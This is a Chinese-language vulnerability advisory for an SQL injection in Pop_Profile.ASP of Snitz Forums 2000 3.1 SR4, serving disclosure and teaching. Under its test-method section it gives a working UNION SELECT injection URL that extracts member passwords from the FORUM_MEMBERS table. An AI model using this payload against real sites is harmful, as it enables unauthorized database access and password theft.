当前位置： 首页 > 服务与支持 > 产品升级公告 > 安全漏洞公告

服务与支持Support

Snitz Forums 2000 Pop_Profile.ASP SQL注入漏洞

信息来源：XORON （x0r0n@hotmail.com）      发表日期：2014-01-01 11:07:00

Snitz Forums 2000是一款免费的论坛软件。

 

Snitz Forums 2000 3.1 SR4在Pop_Profile.ASP的实现上存在SQL注入漏洞，成功利用后可使攻击者执行未授权数据库操作。

 

BUGTRAQ-ID:22593

受影响系统：

Snitz Forums Snitz Forums 200 3.1 SR4

 

测试方法：

警  告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！http://www.example.com/pop_profile.asp?mode=display&id=-1+union+all+select+0,M_PASSWORD,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+FORUM_MEMBERS

解决办法：

厂商补丁：

 

Snitz Forums

------------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

 

http://www.snitzbitz.com/mods/details.asp?Version=All&mid=52